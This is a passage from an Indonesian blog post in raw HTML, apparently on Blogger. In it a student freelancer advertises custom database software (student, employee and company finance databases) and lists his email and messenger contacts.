adalah seorang mahasiswa... disamping kesibukan saya sebagai mahasiswa .. </p><br /><p>saya juga sebagai freelance dalam Software Developing..</p><br /><p>software yang saya maksud disini adalah mengenai database software...</p><br /><br /><span class="fullpost"><br /><br /><p>Sebagai contoh :</p><br /><p>1. database kesiswaan.</p><br /><p>2. database karyawan/pegawai.</p><br /><p>3. database keuangan perusahaan.</p><br /><p>Software bisa berbasis cilent server, tergantung keinginan anda... ;) </p><br /><p>Bagi anda yang membutuhkan software khusus untuk perusahaan, atau software khusus untuk manajemen keuangan perusahaan anda.. silahkan hubungi saya ^_^....</p><br /><p>Email : shiryash@gmail.com, massimmoto@yahoo.co.id.</p><br /><p>YM : yasirelek</p><br /></span>Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0